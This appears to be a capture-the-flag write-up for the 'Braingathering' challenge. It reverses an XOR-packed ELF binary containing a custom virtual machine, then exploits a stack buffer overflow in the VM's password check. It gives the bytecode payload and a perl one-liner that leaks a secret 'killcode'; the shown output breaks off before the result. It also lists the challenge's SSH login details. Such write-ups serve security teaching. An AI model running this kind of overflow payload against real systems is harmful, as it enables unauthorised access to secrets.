We fought our way to the main server room. The zombies realized that they
run out of humans sooner or later, so they started to build machines to
create humans for them to eat. Those machines have a special code which is
only known to the zombies. This code is capable of destroying all
breeding-machines. Now, it's all up to you to get this code and tell us so
that we can destroy all machines.
SSH: ctf.fluxfingers.net PORT: 2097 USER: ctf PASS: opPsyuXs7aaxtop

credits: 500 +3 (1st), +2 (2nd), +1 (3rd)

Braingathering is an elf32 binary which asks for 3 choices:

  • 1) Need Brainz brainz brainz, Zombie huuuungry!
  • 2) How much longer till braaaiiiiinz?
  • 3) Nooo more brainz! STOP THE BRAINZ!

The two first are not interesting, but the third asks us for a password and compares it with the content of the “killcode”. If the password entered by the user is right, it prints us:

YEAH, now go and submit the killcode so that we can stop other systems as well

So we need to leak this password or to get a shell to print the content of the file “killcode”.

Entry point of the binary is inside .plt section and has type NOBITS, if we try to open it in IDA, it will not show use the disassembly, so we must change section’s type to PROGBITS and we can see a simple deciphering loop.

loc_8048BC1:                            ; CODE XREF: start+1Aj
                mov     eax, offset loc_8048500
                mov     ecx, 6A1h

loc_8048BCD:                            ; CODE XREF: start-Aj
                xor     byte ptr [eax], 8Ch
                inc     eax
                dec     ecx
                cmp     ecx, 0
                jg      short loc_8048BCD

The binary xors bytes from 0x8048500 to 0x8048ba1 with 0x8C, and jumps to 0x8048500, the real entry point. Fix is simple: write a simple C program to do the task for us. Now we can open it with IDA, and we can see a switch case with 246 entries, it’s definitively a VM.

It’s friday night, and I was bored, so I decided to write an IDA processor for this vm:

Now we just have to dump the vm from offset 0x2060 to 0x2847, and use this processor: “brain VM CPU: brain”.

The first thing the vm does is decyphering his code with xor 0x7A7A from offset 0x50 to 0x1050. Again the solution is to write a simple C program to do the task for us.

Ok now we have the full code of the VM!

The only interesting sub is at offset 0x014E, we can call ask-for-password, it is the sub for the third choice.

The problem in this function is that a stack based buffer overflow can occur. It reserves 0x34 (52) bytes on the stack for the buffer, but reads on STDIN 0x36 (54), so we can overwrite the return address of this sub inside the VM.

0x187       MOV            R4, $8000
0x18A       MOV            R1, $10
0x18D       CALL           memcpy

The password will be copied to address 0x8000, and our buffer to 0x7000, to compare them in sub-function sub_00FC.

The opcode 0x3F is able to write a buffer to a file descriptor.

0x3F opcode, write(*PC, R4, strlen(R4));

So the idea is to put in R4 the adress of the password and execute this opcode. The opcode 0x49 is perfect for this task :

0x49 mov r4, [PC]

So the payload looks like this:

0x49 0x00 0x80  ;  mov r4, 0x8000
0x40 0x01       ;  write(STDOUT_FILENO, r4, strlen(R4));
0x53 0x0D 0x70  ;  Adresse return for sub_print_newline (buffer + 0xD) for
ending correctly exploit
0x53 0x03 0x01  ;  push 0x013E (@ of sub_print_newline)
0x58            ;  ret
"0xFF"*43       ;  END VM
0x00 0x70       ;  New Address to return (@buffer)


ctf@braingathering:~$ perl -e'print "3"x34 . "\x49\x00\x80" . "\x40\x01" . "\x53\x0d\x70" . "\x53\x3e\x01" . "\x58" . "\xFF"x40 . "\x00\x70"' > /tmp/payload
ctf@braingathering:~$ /home/ctf/braingathering < /tmp/payload
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I'm going to get my brains somewhere else.

### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
Comparing k1llc0d3